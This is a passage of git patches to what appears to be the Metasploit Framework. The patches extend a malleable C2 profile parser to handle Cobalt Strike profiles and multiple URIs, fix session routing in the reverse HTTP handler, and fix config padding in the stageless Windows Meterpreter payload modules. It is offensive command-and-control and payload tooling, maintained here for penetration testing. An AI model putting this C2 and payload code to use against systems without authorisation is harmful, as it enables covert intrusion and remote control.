MET::GroupTlv.new(MET::TLV_TYPE_C2) + end - c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) unless (opts[:ua] || '').empty? + # Fall back to the datastore UA when the profile didn't `set useragent` + # (or there's no profile at all). + unless (opts[:ua] || '').empty? || c2_tlv.tlvs.any? { |t| t.type == MET::TLV_TYPE_C2_UA } + c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) end c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) From 8c1a36c05f8487a093db4bed370ae60c492a029f Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 9 Jun 2026 21:15:17 +1000 Subject: [PATCH 23/26] Fix connd_id to session map and C2 comment handling --- lib/msf/core/handler/reverse_http.rb | 26 ++++++++++++++++++++++++++ lib/msf/core/payload/malleable_c2.rb | 6 ++++-- 2 files changed, 30 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 2bab479bc7b52..bbbf25c1b993d 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -355,6 +355,21 @@ def add_response_headers(req, resp) end end + # Return the live meterpreter session whose passive dispatcher is + # registered for this bare conn_id, or nil if none matches. Used so + # MC2 traffic — which Rex routes to on_request because the profile + # URI prefix outranks the session's / mount — can still be + # delivered to the right session instead of triggering a fresh + # "orphaned attach" on every poll. + def session_for_conn_id(bare_conn_id) + return nil if framework.nil? || bare_conn_id.nil? || bare_conn_id.empty? + framework.sessions.each_value do |s| + next unless s.respond_to?(:connection_uuid) + return s if s.connection_uuid == bare_conn_id + end + nil + end + # # Removes the / handler, possibly stopping the service if no sessions are # active on sub-urls. @@ -496,6 +511,17 @@ def on_request(cli, req) # TODO: at some point we may normalise these three cases into just :init if info[:mode] == :connect + # If a session already exists for this conn_id, hand the + # request to its passive dispatcher. Without this, MC2 + # profiles loop forever on "orphaned attach" because the + # profile URI prefix outranks the session's / + # mount in Rex's VirtualDirectory routing. + existing = session_for_conn_id(req.conn_id) + if existing + existing.send(:on_passive_request, cli, req) + self.pending_connections -= 1 + return + end print_status("Attaching orphaned/stageless session...") else begin diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 8b5b497a1f733..7b5f4ed039b7c 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -114,8 +114,10 @@ def tokenize(text) if scanner.scan(/\s+/) # blank line next - elsif scanner.scan(/^\s*#.*$/) - # comment + elsif scanner.scan(/#[^\n]*/) + # comment — anchorless so it matches indented comments too + # (the prior `\s+` rule has already eaten any leading + # whitespace by the time we get here) next elsif scanner.scan(/\"(\\.|[^"])*\"/) @tokens << Token.new(:string, scanner.matched[1..-2]) From 932962b656b7a00056c4e777cacb721383c4994a Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 16 Jun 2026 21:43:52 +1000 Subject: [PATCH 24/26] Tolerate unsupported C2 blocks and split multi-URI directives Make the malleable C2 parser robust to real Cobalt Strike profiles and honour space-separated URI lists. Parser tolerance: detect blocks by lookahead (`name { ... }`) instead of a fixed keyword whitelist, and allow identifier-named blocks/directives. Unsupported blocks (dns-beacon, http-config, process-inject, post-ex, code-signer, ...) are now parsed for structure and ignored by to_tlv rather than aborting the whole profile. A stray top-level directive is consumed instead of raising. Multi-URI support: a `set uri` value may list several space-separated candidate URIs (CS picks one at random per request). ParsedProfile#uris now splits and flattens them so the handler registers a mount per candidate, and add_uri emits a separate TLV_TYPE_C2_URI per candidate (each with the query string) instead of one TLV holding the raw space-joined string, which the client could not turn into a valid URL. --- lib/msf/core/payload/malleable_c2.rb | 80 ++++++++++++++++++++++------ 1 file changed, 64 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 7b5f4ed039b7c..33494c3be5113 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -178,7 +178,12 @@ def uris post_uri = http_post.get_set('uri') } - [base_uri, get_uri, post_uri].compact + # A `set uri` value may list several space-separated candidate URIs + # (Cobalt Strike picks one at random per request). Split them out so + # the handler registers a mount for each candidate, otherwise the + # literal "uri-a uri-b" string is registered as a single unmatchable + # resource. + [base_uri, get_uri, post_uri].compact.flat_map {|u| u.split(/\s+/) }.reject(&:empty?).uniq end def wrap_outbound_get(raw_bytes) @@ -348,14 +353,27 @@ def add_header(section, group_tlv) end def add_uri(base_uri, section, group_tlv) - uri = (base_uri || "").dup query_string = section.get_directive('parameter').map {|dir| "#{dir.args[0]}=#{URI.encode_uri_component(dir.args[1])}" }.join("&") - unless query_string.empty? - uri << "?" - uri << query_string + + # `set uri` may carry a space-separated list of candidate URIs. Emit + # one TLV_TYPE_C2_URI per candidate so the client can pick one at + # random; an empty/absent uri collapses to a single empty candidate + # to preserve the prior (query-string-only) behaviour. + candidates = (base_uri || "").split(/\s+/).reject(&:empty?) + candidates = [""] if candidates.empty? + + emitted = [] + candidates.each do |candidate| + uri = candidate.dup + unless query_string.empty? + uri << "?" + uri << query_string + end + next if uri.empty? + group_tlv.add_tlv(MET::TLV_TYPE_C2_URI, uri) + emitted << uri end - group_tlv.add_tlv(MET::TLV_TYPE_C2_URI, uri) unless uri.empty? - uri + emitted end end @@ -430,8 +448,16 @@ def parse(file) while current_token if match_keyword('set') profile.sets << parse_set - elsif current_token.type == :keyword && @lexer.is_block_keyword?(current_token.value) + elsif block_ahead? + # Any `name { ... }` is a block. We keep the ones we understand + # (http-get/http-post/etc.) and harmlessly retain the rest — + # unsupported CS blocks like dns-beacon/process-inject/post-ex + # are parsed for structure and simply ignored by to_tlv. profile.sections << parse_section + elsif name_token? + # A stray top-level directive we don't model. Consume it (up to + # its `;`) and move on rather than failing the whole profile. + parse_directive else raise "Unexpected token at top level: #{current_token.type}=#{current_token.value}" end @@ -450,19 +476,17 @@ def parse_set end def parse_section - name = expect(:keyword).value + name = expect_name.value expect_symbol('{') section = ParsedSection.new(name) while !match_symbol('}') && current_token if match_keyword('set') section.entries << parse_set - elsif current_token.type == :keyword - if @lexer.is_block_keyword?(current_token.value) - section.sections << parse_section - else - section.entries << parse_directive - end + elsif block_ahead? + section.sections << parse_section + elsif name_token? + section.entries << parse_directive else raise "Unexpected content in block #{name}: #{current_token.value}" end @@ -473,7 +497,7 @@ def parse_section end def parse_directive - type = expect(:keyword).value + type = expect_name.value args = [] while current_token && !match_symbol(';') if [:string, :identifier, :keyword].include?(current_token.type) @@ -491,11 +515,35 @@ def current_token @lexer.tokens[@index] end + def peek_token(offset = 1) + @lexer.tokens[@index + offset] + end + def next_token @index += 1 current_token end + # A bare name that can head a block, directive or set key. Block + # detection no longer depends on a keyword whitelist, so profiles can + # carry CS blocks we don't model (dns-beacon, process-inject, ...) + # without breaking the parse. + def name_token? + t = current_token + !t.nil? && (t.type == :identifier || t.type == :keyword) + end + + # True when the current token names a block, i.e. it's followed by `{`. + def block_ahead? + return false unless name_token? + nt = peek_token(1) + !nt.nil? && nt.type == :symbol && nt.value == '{' + end + + def expect_name + expect([:identifier, :keyword]) + end + def expect(types) token = current_token types = [types] unless types.kind_of?(Array) From 69a5e607215017a0ec6e61ab66002eabb9d7f0d0 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 16 Jun 2026 23:18:18 +1000 Subject: [PATCH 25/26] Add fetch-payload fix as per Diego's comments --- lib/rex/proto/http/server.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index 551738884e0cd..bc4d71fa30476 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -292,7 +292,10 @@ def dispatch_request(cli, request) root = request.resource elsif resources[request.resource] p = resources[request.resource] - len = resource_id.length + # This branch is reached when resource_id is nil (e.g. fetch-payload + # adapters have no find_resource_id), so the matched resource is the + # request resource itself — not resource_id, which would nil-deref. + len = request.resource.length root = request.resource else # Search for the resource handler for the requested URL. This is pretty From 7be0277a57309ac5f1af3f4665e3946752075aa6 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 22 Jun 2026 17:45:18 -0400 Subject: [PATCH 26/26] Fix stageless Windows Meterpreter config slot This updates the config block accounts for the 8 byte handle like the staged variants do. --- modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb | 2 +- modules/payloads/singles/windows/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 +- .../payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 +- .../singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb | 2 +- 12 files changed, 12 insertions(+), 12 deletions(-) diff --git a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb index e1e5f3443e55c..063693181ae58 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb @@ -58,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index e5aeb90c51767..b46c4bdb53bad 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -58,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index a6fdc4ca80742..5b8d203f43caf 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -65,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index b4d6220c27b0f..a9a55e0bcb409 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -65,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 9bcf351593fab..4e342fcba40ad 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -59,6 +59,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index f4385ab26896f..2d871189f9ef3 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -58,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb index a015a949093c6..c363d6106a898 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb @@ -58,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 3444add57ae10..b44c60cad72b6 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -58,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 779cbcfd79c6c..301d13c576c97 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -65,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 77fa201cb28b3..a362e8b3d1a41 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -65,6 +65,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 3b3223f384201..67af334bada30 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -59,6 +59,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 1394393edae44..c530b8d0a98dd 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -58,6 +58,6 @@ def generate_config(opts = {}) config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it - config.to_b + "\x00" * 8 + config.to_b end end